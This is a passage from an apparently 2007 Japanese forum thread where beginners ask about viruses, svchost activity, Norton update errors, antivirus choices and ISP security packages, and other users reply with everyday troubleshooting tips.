　・ 2回目以降の書込は、名前欄に最初に質問した際の「発言番号」を入力すること。
　・ マルチポスト（他スレ、他サイトとの同時質問）禁止。他スレから誘導された場合は、
　　 その旨書くこと。
　・ 違法な話題や質問(Winny等のP2P関係、エミュレータ等)は禁止です。
　・ 薮パソユーザーは立ち入り禁止。HNを変えてもダメです。

●質問用テンプレート●

【使用OS】
【使用ブラウザ】
【Microsoft Updateの状態】
【ウイルス対策ソフトとバージョン】
【スパイウェア対策ソフト】
【ファイアウォール】
【ルータの有無】

【具体的な症状】
【過程と措置】
【その他】

あの、もしかしたらマルチかもしれませんがこれが何なのかだけ教えてください。
HDに保存していたHTMLファイルがいじった覚えがないのに一昨日の同時刻に一斉に更新されたことになっていて、
調べたら変なインフレームタグが沢山入って読み込みが遅くなってました。
これウイルスでしょうか。
パソコンはwinXPでIE6で、フリーのページマスターでHTMLを作ってました。

パソコンが怖いので携帯からです。読みにくかったらごめんなさい

>>415
はい。それはマルチです。
パソコン一般板総合質問スレッドVol.20
http://pc9.2ch.net/test/read.cgi/pc/1168730560/

ごめんなさい本当にごめんなさい

向こうで解決しそうになければ、
「もうお前らにはきかーねーよ」って一言かけてあげるとよかったね。
と思ったけどまた向こうで聞いてるからもう放置するね。

>>415
がんばれ

>415
ページマスターってわからんけど
覚えのないインフレームなんておかしいんじゃない
ウィルスチェックとスパイウェアをチェックしろとしかいえん

>>416
ウイルスorスパイウェア。

質問です！
某所で煽られて誰も回答してくれないので移動してきました！

tempホルダにsqlite_XXXXXXXXXX
(Xはわけわからんアルファベットか数字)という
ファイルがあって削除できんのだけどこれってウィルス？
ウィルスだったらこわいよ〜（＞＜）
削除する方法を教えてください！そしてこれはウィルスでしょうか？
ウィルスの場合、どうやって対処すればよいでしょうか？
ウィルスじゃない場合、削除しない方がよいでしょうか？
機種はｘｐです！

さっきまで４個しかなかったのに今みたら８個になってる・・・(((( ；ﾟДﾟ)))ｶﾞｸｶﾞｸﾌﾞﾙﾌﾞﾙ

>415
それIEのセキュリティホールを衝かれてるかもしれんぞ
updateしてるのか？

>422
ぐぐったら高速MergeをOFFにしたら消えるらしい

>>401
5回目のNODで検出できない奴のリンクを間違えてた(´･ω･｀)ｽﾏｿ

代表的な検出名：Trojan.PWS.Bikkuri
http://vista.rash.jp/img/vi7028846501.jpg

つまりAntiVirをメインに、BitDefenderをサブに使っている俺は勝ち組ということか。

>>412 �d

>>427
AntiVirって誤検出大杉じゃね？

スルーが多いより遥かにマシ。

スマンテック

>>430
ヒューリステック設定をミディアムにしてれば、
今の所そんなにうるさく誤検出はしないですよ。

シマンテックのAntiVirusについて質問させて頂きたいです。
現在シマンテックのSAVサーバーの構築をしています。
クライアントに入れるGRC.DATファイルについて、
クライアント自らが操作できる事としてLive UP Dateとリアルタイム保護だけ
にして、それ以外の操作を無効にしたいと考えています。
ですが、そのためのGRC.DATの作り方をどうしたらよいのか分かりません。
セキュリティは詳しくなく、知識が乏しいものでどなたかアドバイス
頂けたら嬉しく思っています。

>>433
そんな狭い話初心者スレで聞いても返事ないって。
マヌアルぐらい見たろうかと思ったら個人向けの製品でもないしサポート池

>>274
まったく同じウイルスが出ます。
具体的にどのようにされたのですか？
ご教授おねがいします。

>>435
ウイルスではなく Security Centerサービス が停止されてる事への警告。
スタート→コントロールパネル→セキュリティセンター
で「監視していません」と表示されてる項目があるということ。
windowsが認めていないセキュリティソフトを使ってるか、
セキュリティソフトが入っていない可能性があるがそこまで知らん。

>>436
ありがとうございます。
早速スタート→コントロールパネル→セキュリティセンターで確認しました。

そこでもうひとつ聞いてもいいですか？
XPのファイアーウォールを無効にしている為だったと思われるのですが、ノートンのファイアーウォールが有効なので併用しないほうが良いんですよね？
教えて君で申し訳ありません。

なあ、>415がマルチって言うから放置してたけど
早急な対応が必要なんじゃないの？
＞HDに保存していたHTMLファイルがいじった覚えがないのに一昨日の同時刻に一斉に更新されたことになっていて、
＞調べたら変なインフレームタグが沢山入って読み込みが遅くなってました。
これFujacks系にやられてんじゃねーの？

>>437
NortonがWindowsのFWとセキュリティセンターを停めるのは
Nortonにそれを補う機能がある為

【使用OS】 WinXP SP1
【使用ブラウザ】 IE
【Microsoft Updateの状態】 最新
【ウイルス対策ソフトとバージョン】 なし
【スパイウェア対策ソフト】 Spybot、Ad-aware
【ファイアウォール】 Zone Alarm Pro最新
【ルータの有無】 なし

【具体的な症状】 妙に重い＆シマンテックのスキャン結果でウイルスが発見されましたと表示された
【過程と措置】 質問中＆現在リアルタイムでウイルスバスターオンラインスキャン中
【その他】 シマンテックの無償スキャンは、半年ぐらい前だとウイルス名とファイル名を教えてくれていましたが、
今は教えてくれなくなったのでしょうか？
それとも見方が悪いのでしょうか。

440です。
書き忘れましたが、Zone Alarmを落としていることが多々あります。
任天堂のワイファイ通信をするときにZAを立ち上げていると繋がらないためです。

ノートンで教えてくれないならトレンドマイクロでもカスペルスキーでもやってみれ。

>>440
いまやってみたが普通にウイルス名　感染ファイル名でるじゃねえか

>429
Exception指定すればおｋ

>>439
ありがとうございます。
安心しました。

【使用OS】 WinXP SP2
【使用ブラウザ】 IE
【Microsoft Updateの状態】 最新
【ウイルス対策ソフトとバージョン】 ウイルスバスター2007

ウイルスバスター2007で疑わしい変更が検出されたのですが

システム変更
危険度:低
説明：個人情報などを収集する可能性のあるプログラムがコンピューターのメモリ上で実行されています。
コンピューターのメモリ
詳細：
パス：C:\Documents and Settings\All Users\Application Data\GTek\GTUpdate\AUpdate\Channels\ch9\CIP
ファイル名：CfgData.EXE
推奨：疑いはありますが、このソフトウェアまたは変更は正規のものである可能性があります。
この疑わしい問題を処理する前に、さらに調査してください。

GTUpdateでググルとハッキングとか妖しいレスに行き着いたのですが安全な物でしょうか？

http://qb5.2ch.net/operate/kako/1112/11127/1112774619.html
563 名前： 動け動けウゴウゴ２ちゃんねる 投稿日： 2005/04/08(金) 02:30:54 ID:AQwRoo140
>553
hijackthisのログに特に怪しいものはないねぇ
O4 - HKLM\..\Run: [CIPBuild] C:\Documents and Settings\All Users\Application Data\GTek\GTUpdate\AUpdate\Channels\ch1\CIP\3164.exe /r C:\DOCUME~1\***~1\LOCALS~1\Temp\CIPBuild.ini 0
これが何かわからないけど
どうやら、ソーシャルハッキングですねこれは ;)

>>446
とりあえずリンク先は関係ないと思うが、
HPのプリンター使ってるならそれ関連かも知れん。

どうにもハッキングされてるのか
自宅のパソに落としたファイルを任意にキャンセルしたり
出来るみたいです。

どういう対策すればよろしいでしょうか？

>>448
とりあえず事態を人に伝える努力をすればいいと思うよ。

>>448
読み込みエラー
質問の読み込みに失敗しました

どうにもハッキングされてるのか
自宅のパソに落としたファイルを任意にキャンセルしたり
出来るみたいです。

どういう対策すればよろしいでしょうか？

人生もキャンセルしてもらったほうが・・・

>>451
その質問で他人が理解できますか？

質問です

http://www.google.com/intl/xx-hacker/
↑これなんですか？

>>454
っ ttp://ja.wikipedia.org/wiki/Leet
一番下

>>455
�d。勉強してみる。

今なんにもセキュリティソフトいれてません。
やはり市販のウイルスバスターなどを買った方がいいのでしょうか？
フリーソフトでしたらどれがいいのでしょうか？

とりあえずwirewallとspybotをひとつずつ入れようと思っているのですが
どれがオススメですか？それともそんなに差はないのでしょうか？

よろしくお願いします。

質問です

http://www2.strangeworld.org/uedakana/
↑これなんですか？

>>458
鑑定スレ池

価格比較サイトconeco.net（コネコネット）ウィルス対策・セキュリティソフト - 人気商品ランキング （*右下にTop100）
　　2007/01/28〜2007/02/04　の集計結果
ttp://www.coneco.net/masterranking/01902050.html
　※通販は信頼店で納期・送料・手数料をよく確認してから購入しましょう。

→１位 シマンテック ノートン・インターネットセキュリティ 2007 （最安値 \4,980）
→２位 ソースネクスト ウイルスセキュリティZERO
↑３位 マイクロソフト Windows Live OneCare
→４位 シマンテック ノートン・アンチウイルス 2007 （最安値 \4,088）
↓５位 ジャストシステム Kaspersky Internet Security 6.0　12+3ヶ月特別優待版
↑６位 シマンテック ノートン・アンチウイルス 2006 （最安値 \4,980）
↓７位 シマンテック ノートン・インターネットセキュリティ 2007　3ユーザーパッケージ （最安値 \8,400）
↑８位 トレンドマイクロ ウイルスバスター2007 トレンド フレックス セキュリティ　優待版
↓９位 ソースネクスト ウイルスセキュリティZERO　3台用
↓10位 ソースネクスト ウイルスセキュリティZERO　2台用


Norton Internet Security 2007 ２コ ニコッ！スペシャルPACK　2人で使える2本組 （最安値 \8,585）
ttp://a248.e.akamai.net/f/248/16300/1d/www.biccamera

皆さんはじめまして。
一年前に買った東芝のDynabook(Windows XP, SP2)を今使い始めました。
まずMicrosoftの更新を行い、
Avast!
Adware
Kerio
の順にセキュリティ関係を入れましたが、
さらにAVGを入れる必要があるでしょうか？

試してレポして下さい＞＜

>>461
フリーで固めるんなら設定や用心の方が重要

>>461
俺は
AntiVir
Bitdefender
SpyBot
SpywareBlaster
Ad-Aware
Windows Defender
入れてある。

ノートンスレかこちらで質問するか迷いましたが教えてください。
ノートン２００５を使用してるものなんですが、Livedateを使用すると
ホストに繋げられないとエラーが起きます。
又、それに伴ないIE７も使用ができません。
FireFoxなインターネットに繋がるるんですが・・・・
どなたかおしえてください

悩んだとかいいからテンプレぐらい埋めてくれ。
ノートンて製品も無いから勝手にNorton Internet Security 2005 で
ファイアウォール機能を使ってると仮定するなら、まず
ttp://www.namzak.co.jp/support/pdf/Symantec_2005.pdf
ここの5〜6ページ辺り見ながらプログラム制御を確認。

セキュリティソフトをＰＣに導入する際、
アンチウイルスソフトよりファイアウォールを先に入れるのが基本である、
という文章を他のスレで見たのですが、このことにはなにか理由があるのでしょうか？
（前にavast!を入れた状態でoutpostを入れたことがあって、その時は
確かに、ＰＣがおかしくなってしまいました（;^-^）。でも原因はよく分からなかった）

例えば、先にアンチウイルスを入れてファイアウォールが入っていない状態の場合、
アンチウイルスソフトの常駐機能を切った状態でファイアウォールを
インストールしたとしても、不具合は起こるものなのでしょうか？

先ほどｸﾞｸﾞｯってみたけれども、該当するような情報が見当たりませんでした。
どなたか教えていただければありがたいです。

>>467
相性ならば個別の問題なので「基本」と呼ぶには当たらない。
問題なのは、極寒の中服を着てから医者に行くか、医者に行ってから服を着るか。

>>466
すいません。プログラム制御のWebArrow〜〜
て項目はありませんでした。
もう少しググってきます。

>>469
すまんすまん。
WebArrowとか細かい部分は関係ない。
その中にIE7を遮断するルールやFireFoxを許可するルールがないかって話。

>>468
レスありがとうございます。
ということは、アンチウイルスを導入するまでの間に外から攻撃を受けにくくするため、
とりあえずファイアウォールを先に入れる、ということでよろしいのでしょうか？

ソフトの個別相性さえ合えば、
手元にファイアウォールとアンチウイルスが２つともある場合
どちらから入れても大丈夫、ということでしょうか？

>>470
早とちりしてすみません。
IE7やFireFoxには、自動もしくは全て許可になっています。
只今システム復元しても意味がありませんでした。
ググって見たら、LiveupdateはIEが使われるとあったので
IEのせいでしょうか？
とりあえず、IEをアンインスト→インスト
してみましたが、IEがまた繋がりません。

>>465
エラー文章を正確に書くかキャプチャupしてくれないとなんとも
よくある質問の検索 - アドバンストサーチ
「Liveupdate」 検索結果 7件

>>471
特に問題はないけどアンチウィルスは結局定義更新しなと意味がないから、
接続しない状態でAVインストール→FWインストール→接続→AV更新という流れに

>>472
http://kinokohirame.jugem.jp/?eid=40#trackback
ここら辺が参考にはなりそうだけどおかしな方法だし根本的な解決にはなってないような…
設定に問題なければ純粋にIE7に対応してない可能性が高いかな。
できるならIE6を入れて試して、正常なら7の利用は見送るのがいいと思う。
2005がこれから対応するかは微妙だからIE7使いたいなら2007に乗り換える事も考えた方が。
ただ2007でもちらほら問題はあるみたいね。

>>473
初期化中...
liveupdate.symantecliveupdate.com に接続中...
liveupdate.symantec.com に接続中...
update.symantec.com に接続中...
ホスト に接続できません
LU1814: LiveUpdate が利用可能なシマンテック製品とコンポーネントの更新版のカタログファイルを取り込めませんでした。
インターネットに接続できることを確認して LiveUpdate を再び実行してください。

LiveUpdate セッションが完了しました。

LiveUpdateをするとこのようなメッセージになります。
又　「Liveupdate」
でLU1814のエラーの所の項目を試しましたが、
変化はありませんでした。

>>472
URL違ったorz　こっちね。
http://kinokohirame.jugem.jp/?cid=9

>>465　>>475
エラー: 「LU1814: LiveUpdate が更新リストを取り込めませんでした」
http://service1.symantec.com/SUPPORT/INTER/sharedtechjapanesekb.nsf/514f6d495952882e88256efa00493541/a98fc62f269526f449256cd100319f37

エラー: 「サーバーに接続ができなかったため更新サービスの状態を確認できませんでした」が表示される
http://service1.symantec.com/SUPPORT/INTER/sharedtechjapanesekb.nsf/4aefaadc9d7b2aef8825694c005b6a08/8f8e8135e7aefc2b49256f510028aaa8

>>474
ありがとうございます。安心しました。

>>476
>>477
ご迷惑をおかけします。
とりあえず>>477様の
エラー: 「サーバーに接続ができなかったため更新サービスの状態を確認できませんでした」が表示される
試そうと思ったんですが、IE７がページを表示できません。
それでIE６ダウンロードしてインストールしようとしたら
IE7があるためできません・・とエラーがでたので、
IE7をアンインストールして、IE6をインストールしようとしたら

Windos　Updateのセットアップ
前回のインストールが完了していません。Internet Explorerのセットアップを実行する前に
コンピュータを再起動して、そのインストールを完了してください。セットアップは終了します。

というメッセージがでて、インストールできませんでした。
いっその事初期化すればいいんでしょうか？

>>477
エラー: 「LU1814: LiveUpdate が更新リストを取り込めませんでした」
もちろんこれも試しました。
付け忘れてすみません

特に未練がなけりゃそれでもいいけど
まず再起動したらいいんじゃね

>コンピュータを再起動して、そのインストールを完了してください。

>>481
今してみまして。
無理でしたOTL
初期化はちょっと抵抗があるので、
Symantecからちょくちょくウィルス定義ファイルを
ダウンロードして、がんがります。
>>476様 >>477様　つき合わせてしまって
本当にすみませんでした。

http://www.nicovideo.jp/watch?v=utsFtsspsuhS4 高校生動画

これからPCを買う初心者ですが教えてください。

各プロバイダで↓のようなセキュリティパックサービスがありますが（プロバイダもまだ決めてませんが）
それに入ればソフトを入れなくてもいいんですか？
それともノートンなりバスターなりを入れたほうが安全ですか？
ttp://www.nifty.com/sec24/?mid=601287&lid=1

また例えば↑のニフティの場合だとADSLで月500円かかりますが
コストの面でもソフトのほうが安上がりですか？

>>485とりあえずなにもわからないならはいっとけ

>>485
俺も以前ニフティのジョージ君を検討したことがあるのだが、
１）ノートンのアンチウイルスとCAアンチスパイのダブルエンジンで、さらに３台まで可なので、
PC複数台の場合はかなり割安。
２）他のアンチウイルスソフトとの併用可で強固なセキュリティを組める。
欠点は、
１）CD-R等外部メディアからの侵入には無防備。
２）過去にウイルスの侵入を許した事があった。
３）アンチスパイは無料ソフトがいくつもあるので、割安とも言えない。
４）通信速度が若干落ちる。

ジョージ君の単独使用は危険だと思うが。
たとえばフリーのソフトと併用するとかして、何ヶ月か試用してみたらいいんじゃないの？
他のプロバイダのは割高だし、併用できない。

マカフィとNOD32ならどっちがオススメ？

488 名前：名無しさん＠お腹いっぱい。[] 投稿日：2007/02/05(月) 09:48:41
マカフィとNOD32ならどっちがオススメ？

　　　　　　　　 　 　 ／:::,. -／, -'―::ﾆニ｀＝ｰ- .._
　　　　　　　　　　 /:::／::::/／:::::／::::::::::, -‐''´::＞､｀ヽ
　　 　 　 　 　 　 /:::/::::::／:::::／::::::::::／:::::::::／::::::::::',::::ヽ
　　　　　　　　　/:::/::::::/ヽ::::/:::::::::／::::／／:::::::!:::::::|:',:::::ヽ
　　　　 　 　 　 !::::i::::::/､:::::Y:::::::::/:::::::/::/::::::::::::|::::::::|:::!:',::::',
　　　　　　　　 |:::::!:::::l::'､＼!::::::::/::::::/::/:::::::::::::/:::::::/:::!!::',::::',
　　　　　　　　 !::::|::::::|::::ヽ::!::::::/:/::/::/::::::::::::;ｨ:/::::/::::ハ::',::::!
　　 　 　 　 　 |:::|:|::::::!ヽ:::::|::::::|::!::ｨ:,ｲ:::;::::／//::::/!:/ 　 !!:!::|
　　 　 　 　 　 !:::!::!::::::',::, -|::::::!:|/ ﾘ∠ヱ_ノ/::／ ｿ-― l!::!::!　
　　　　　　　　|:::|:::!::l::::｀i ｀ﾞ!:::::|:!　ﾍ:ﾞｰ'ﾉ ｀;／ 　 rｲ:ｸ''ゝ!:!/　　
　　　　　　　　!:::|:::|::!::::::::'､く!::::ヾ　｀￣￣　　　　 i｀￣´/:/　　　　　成敗
　　　　　　 　 !:::|::::!:|:::::::::::ヽ|:::::|ヽ､ 　 　 　 　 　 丶　/ｲ
　　　 　 　 　 |:::|::::|:|!::::::::::::::|!:::::!　　　　　　　 　 ／ ,ｲ:::|
　　　 　 　 　 !:::l!:::|:|',:::::::::::::|',:::::ﾄ､　 　 　 -‐-‐　／ |:::::!
　　　 　 　 　 !:::!!:::',:!:ヽ:::::::::! ',::::!　丶､　 　 　 ／　　|:::::|
　　　 　 　 　 |:::||:::::',:::::ヽ:_/__ ',:::!　　　｀丶 ／　　　 |::::::!
　　　　　　　　!::! !:::,∠´---- ､',::ﾄ､　 　 /　　　　　　!:::::|
　　　　　　　　|::! Y｀`丶､￣￣｀:',:ﾄ､＼ /､､　　　　　 |:::::!
　　 　 　 　 　 !:! ,!: : : : : : ＼ : : :',:! ＼＼ヽヽ､　　 　 !::::!
　　　　　　　　,ヾ'-- ､ : : : : : ＼: :',:! : : ＼ヾ ',:＼　　 |::::!
　　　　 　 　 /: : : : : : ＼ : : : : : ヽ',:| : : : :ヽヽﾄ､: ヽ　 !::|
　　　　 　 ／: : : : : : : : : ヽ: : : : : : :',:! : : : : :ヽヽ',ヽ:ヽ !:|
　 　 　 ／ : : : : : : : : : : : : ヽ: : : : : :',:!ヽ: : : : : ヾ',ヽヽ:|::!

どなたかお願いします
【使用OS】　Windows XP
【使用ブラウザ】 IE7
【Microsoft Updateの状態】 不明
【ウイルス対策ソフトとバージョン】 Anti Virus（無料版）、BitDefender
【スパイウェア対策ソフト】 なし
【ファイアウォール】 不明
【ルータの有無】 不明

【具体的な症状】 デスクトップに見知らぬファイルがいつの間にかありました。
【過程と措置】消そうとしても、「○○を削除で
きません。他の人またはプログラムによって使用されています。
ファイルを使用している可能性のあるプログラムを、すべて閉じてから
やり直してください。」と出ます。
【その他】まったくの初心者なのでファイアウォールやルータもよくわかりません。
この状態は誰かに自分のパソコンの中を見られてるということなのでしょうか？

再起動しても消せない？
それならspybotかadaware落としてネットを切断してからインストールしてスキャン
問題ないようなら何かしらファイアーウォールインストールしてからネットに繋いで速攻WindowsUpdate
ところで、BitDefenderでスキャンして検出できなかったの？
それと「Anti Virus（無料版」て何？

x_dtrace_log等ならBitDefenderのバグ
違うならファイル名書け。

>>487
ジョージ君というのが見当たらないですが
「常時安全セキュリティ24」ってやつと同じなのかな。
ＰＣは一台です。
これ単独でＯＫで、さらにちょっとくらいの割高ですむなら初心者には面倒がないかと思ったんですが
単独で万全というわけではないんですね。

いろいろ検討してみます。
アドバイス本当にありがとうございました。

>>486
あっ見落としてしまった。
わからないなら入っとけ、それもそうですよねｗ
ありがとうございました。

>>495
　　　　　　　　 　 　 ／:::,. -／, -'―::ﾆニ｀＝ｰ- .._
　　　　　　　　　　 /:::／::::/／:::::／::::::::::, -‐''´::＞､｀ヽ
　　 　 　 　 　 　 /:::/::::::／:::::／::::::::::／:::::::::／::::::::::',::::ヽ
　　　　　　　　　/:::/::::::/ヽ::::/:::::::::／::::／／:::::::!:::::::|:',:::::ヽ
　　　　 　 　 　 !::::i::::::/､:::::Y:::::::::/:::::::/::/::::::::::::|::::::::|:::!:',::::',
　　　　　　　　 |:::::!:::::l::'､＼!::::::::/::::::/::/:::::::::::::/:::::::/:::!!::',::::',
　　　　　　　　 !::::|::::::|::::ヽ::!::::::/:/::/::/::::::::::::;ｨ:/::::/::::ハ::',::::!
　　 　 　 　 　 |:::|:|::::::!ヽ:::::|::::::|::!::ｨ:,ｲ:::;::::／//::::/!:/ 　 !!:!::|
　　 　 　 　 　 !:::!::!::::::',::, -|::::::!:|/ ﾘ∠ヱ_ノ/::／ ｿ-― l!::!::!　
　　　　　　　　|:::|:::!::l::::｀i ｀ﾞ!:::::|:!　ﾍ:ﾞｰ'ﾉ ｀;／ 　 rｲ:ｸ''ゝ!:!/　　それアウトバウンド対応してるかのか？
　　　　　　　　!:::|:::|::!::::::::'､く!::::ヾ　｀￣￣　　　　 i｀￣´/:/　　　　フレッツセーフティーなども碌なもんじゃないよ　　
　　　　　　 　 !:::|::::!:|:::::::::::ヽ|:::::|ヽ､ 　 　 　 　 　 丶　/ｲ　　　　　　ヘタ打つと高いものにつくぞ
　　　 　 　 　 |:::|::::|:|!::::::::::::::|!:::::!　　　　　　　 　 ／ ,ｲ:::|
　　　 　 　 　 !:::l!:::|:|',:::::::::::::|',:::::ﾄ､　 　 　 -‐-‐　／ |:::::!
　　　 　 　 　 !:::!!:::',:!:ヽ:::::::::! ',::::!　丶､　 　 　 ／　　|:::::|
　　　 　 　 　 |:::||:::::',:::::ヽ:_/__ ',:::!　　　｀丶 ／　　　 |::::::!
　　　　　　　　!::! !:::,∠´---- ､',::ﾄ､　 　 /　　　　　　!:::::|
　　　　　　　　|::! Y｀`丶､￣￣｀:',:ﾄ､＼ /､､　　　　　 |:::::!
　　 　 　 　 　 !:! ,!: : : : : : ＼ : : :',:! ＼＼ヽヽ､　　 　 !::::!
　　　　　　　　,ヾ'-- ､ : : : : : ＼: :',:! : : ＼ヾ ',:＼　　 |::::!
　　　　 　 　 /: : : : : : ＼ : : : : : ヽ',:| : : : :ヽヽﾄ､: ヽ　 !::|
　　　　 　 ／: : : : : : : : : ヽ: : : : : : :',:! : : : : :ヽヽ',ヽ:ヽ !:|
　 　 　 ／ : : : : : : : : : : : : ヽ: : : : : :',:!ヽ: : : : : ヾ',ヽヽ:|::!

>>494
ニフティの場合は、ウイルス駆除可能な「ウイルスチェックサービス」というのがあるので、
「常時安全〜」と併用すれば、いけるんじゃないかな？

>>492
Anti-Virus FreeEditionとあったので
無料版と書きました。（有料のものもあるそうなので）

>>493
x_dtrace_logと書いてあります。
どう対処すればいいですか？

Anti-Virus FreeEditionだけ書かれてもどこのソフトだか分からんっての。

>>496アウトバウンド？？なんですか？それ…。勉強してきます。

>>497更にそれにも入るといいんですね。
見たらウイルスチェックサービスは無料みたいでよかった。

・・・混乱してきましたが
アドバイス感謝します。ありがとうございます。

>>498
【cool】BitDefender Free Edition 18【free】
http://pc10.2ch.net/test/read.cgi/sec/1166443355/3

Q1.デスクトップに x_dtrace_log などのファイルができるんだけど？
A1.バグだそうです。デスクトップ上のショートカットのプロパティで作業フォルダを
インストールしたフォルダに設定してください。1度コンソールを終了させた後この
ショートカットから再起動すれば削除できます。

>>500
ごめん忘れてた。
PC内部→外部　がザルになるので、ファイアーウォールの追加が望ましい。
とりあえずPC買ったら、たいがい９０日限定のセキュリテイソフトがついてるので、
その間勉強されよ。

>>499
その名前しか知らないんです。この板にも
スレはありました。

>>501
ありがとうございます。さっそくやってみます。

>>503
傘のマークの奴か？
最初からそれっぽいと無きにしも非ず

>>504
傘のマークは入ってません。今見たら
「AVG Anti-Virus」と書いてありました。
AVG抜かしてました、すみません　

>>505
AVGか・・・

あのさー、サブのAntiVirus入れるくらいならPFW入れておく方がいいよ
それに今どきルータは必須だぞ
たぶん（よっぽど古いものでもない限り）モデムにルータ機能付いてると思うけど
念のため確認しておいた方いいよ
（型式見てぐぐれば　ヒットするだろうから）

参照のこと
ttp://megamix.ddo.jp/net_router.html
ttp://plusd.itmedia.co.jp/broadband/0302/24/lp24.html

>>506
わかりました、確認してみます。
なにからなにまでありがとうございます

★━ 質問のしかた ━━━━━━━━━━━━━━━━━━━━━━━━━━━━
　・ 2回目以降の書込は、名前欄に最初に質問した際の「発言番号」を入力すること。
　・ マルチポスト（他スレ、他サイトとの同時質問）禁止。他スレから誘導された場合は、
　　 その旨書くこと。
　・ 違法な話題や質問(Winny等のP2P関係、エミュレータ等)は禁止です。
　・ 薮パソユーザーは立ち入り禁止。HNを変えてもダメです。

●質問用テンプレート●

【使用OS】
【使用ブラウザ】
【Microsoft Updateの状態】
【ウイルス対策ソフトとバージョン】
【スパイウェア対策ソフト】
【ファイアウォール】
【ルータの有無】

【具体的な症状】
【過程と措置】
【その他】

傘って何の事？
カスペルスキーとは違うみたいだけど・・・

>>509
AntiVir

Win総合スレから誘導されてきました。

PC無操作状態にもかかわらず、接続後にsvchostという奴が通信をしているのですが、
原因がわかる方おられますか？
携帯端末通信なので全部そっちに持っていかれてマトモにアクセスすらできない；

OS:WinXP SP2 HOME
通信：eo64
Win自動更新は切ってます。
現在30Ｍほどデータ受信中･･･
FWで遮断したらサイトにアクセスすらできなくなってしまうので
svchost内のどのプログラムか特定して遮断したいのですが

↑こいつ馬鹿だろ

>>512
無知でスマソ、なんとか自力で頑張ってみようと努力したんだが、
わからんかった。

>>511
タスクマネージャでプロセス表示。
ユーザー名で動いてるsvchostがあればアウト
SYSTEMや○○SERVICEはセーフ。
まずここまで確認しよう。

お願いします。

【使用OS】xp　sp2
【使用ブラウザ】IE7
【Microsoft Updateの状態】最新です。
【ウイルス対策ソフトとバージョン】AVG7.1.411
【スパイウェア対策ソフト】Spybot - Search & Destroy
【ファイアウォール】WIN標準のもの
【ルータの有無】有り

【具体的な症状】IEくらいしか実行してないのにカリカりアクセス音がするので
　　　　　　　　タスクマネージャで調べようとして起動すると
　　　　　　　　同時にアクセス音が止み、タスクマネージャを終了させてしばらくすると
　　　　　　　　またカリカリいい始める。
【過程と措置】ウィルスチェックをAVGとシマンテックオンラインスキャンで実行するも異常なし。
　　　　　　　スパイウェアも無し。

なんでカリカリ言うのでしょうか？
ウィルスでしょうか？
2種類のチェッカで調べたけど何もでなかったのに・・

>>514
レスありがとうございます。
ユーザー名で動いてる奴はないんで仕様なんですかね？
害がないという事がわかってまずは一安心です。

>>514
漏れも前々から疑問だったんだが
そうやって見分ければいいのな。

ググってみたりしたんだが
どうも！とくる説明をしてるＨＰがなくて謎のままだった
ちょっとすっきりした

>>516
30Mってbpsかと思ったが携帯でそんなに出ないか。
累計の話なら30Mって言われても分らん。
不要な通信もするからFWででも制御しないと何の通信かは分りにくいけど
AVGでセーフだったならひとまず問題はなさそうかね。
WIN標準FWはあんまり役に立たないから、学ぶのが面倒でなければ
http://eazyfox.homelinux.org/
ここら辺から見てみるといいかもね。

>>517
別のsvchost.exeを作る「仁義なきキンタマ」ではないという程度。

f12345.ap.plala.or.jp
なんかノートンが攻撃されてるの
どこで調べるのか分からんし
個人じゃなくネットカフェとか？
仕返ししたいの。

なんか>>516と>>515混同してた。

>>515
カリカリ言うのはHDDが頑張ってるだけだが、
裏で何が動いてるのかはタスクマネージャ閉じないで眺めといて。

>>517
ある種のダウンローダーは正規のsvchost.exeを悪用してトロイをダウンロードし実行する

パーソナル・ファイアウオールを回避する「トロイの木馬」に注意
http://itpro.nikkeibp.co.jp/article/USNEWS/20061108/252990/

Trojan-Downloader.Win32.Delf.awg
http://www.viruslistjp.com/viruses/encyclopedia/?virusid=134170

該当svchostをスキャンしてみることをお勧めする
http://www.kaspersky.co.jp/scanforvirus/
http://www.virustotal.com

すみません、初心者ですが。。

ＹＡＨＯＯメールでログインした履歴とかって確認できますでしょうか？

svchostは利用されるだけだから
システム全体をスキャンしないと駄目か

>>522
【ﾏｼﾞﾚｽ】初心者の質問に答えるスレ【ｴｽﾊﾟｰ】Ver7
http://pc10.2ch.net/test/read.cgi/hack/1168432941/659

659 名前：あああ[] 投稿日：2007/02/05(月) 22:36:17 ID:RCVE2jG7
すみません、初心者ですが。。
ＹＡＨＯＯメールでログインの履歴を確認できたりしますでしょうか？

>>522
どこから誰が？日本語でおｋ

マルチか。ｴｽﾊﾟｰに聞くという選択は正しい。

ＹＡＨＯＯのカスタマーに問い合わせメール送ってみました。
他の人にログインされてる可能性があったので。。
すみません、お騒がせしました。。

>>516
一安心してるところに蛇足ｽﾏｿ('A`)
svchostの挙動が気になるなら、ｺﾏﾝﾄﾞﾌﾟﾛﾝﾌﾟﾄで
netstat -ab
した結果を誰か詳しい人に見てもらうといいよ

svchost書き換えるウイルスか何か確かあったよな。
まず、通信ログ見てみてどこにアクセスしているのか
調べてみたらどうだい？

順番にセキュリティソフトを立ち上げてスキャンするソフトってありますか？

寝る前にセットして
↓
Norton→NOD32→Spybot→Ad-Aware→a-squared→AVG(順不同・ソフト問わず）
↓
朝起きて、隔離、削除選択後　シャットダウン
↓
仕事へ出社
↓
(ﾟдﾟ)ｳﾏｰみたいなソフト

タスクスケジューラでいけるだろ

HitmanProとは違うのか

>>521
一応ノートンやAd-Awareでチェックしても何もひっかからなかったんで
悪意のあるツール類じゃないんだろ〜なっと勝手に思ってるんですが
回線が細いから肝心な時に使えなくて
一応教えてもらった所でもスキャンしたんですが問題ありませんでした。
ありがとうございます。

>>528
実行したら色々出てきたんですが、
『不明なコンポーネント』がチラホラあったんですが･･･他dllは
NAVでスキャンしても無反応した。

>>529
アドバイスありがとうございます。

原因不明のまま正常に戻ってしまったので今度また同じ症状に陥ったら
調べてみます。

AirG_PC監視　ってツールで監視してみようと思うんですが、十分でしょうか？
他に最適なのがあったら是非教えてください。

SOHOなので有名所のアンチウイルスソフトを装備しなくてはならないのですが（そうしないと仕事が取れません）
ノートンインターネットセキュリティー2006が重くて死にそうです。

Win2000SP4で動くもっと軽いソフトで何かオススメはありませんでしょうか？

よろしくお願いいたします。

企業向けウイルス対策製品を語る
http://pc10.2ch.net/test/read.cgi/sec/1087037111/

>>534
norton2007は軽くなったって話だけど
それじゃだめなの？
norton使ってますっていえば大丈夫でしょ　性能はおいといて

2000でnorton2007は動かない

>>537
そか、動かないのか
カスペとしたいが企業ベースだとスパイの疑いのあるものはなあ
そうなるとMcAfee VirusScanとウィルスバスター
・・・、norton2006を我慢して使う
　　

F-Secureはどーよ

>>538
スパイの疑いって騒ぎたててるはあのお方だけですよ
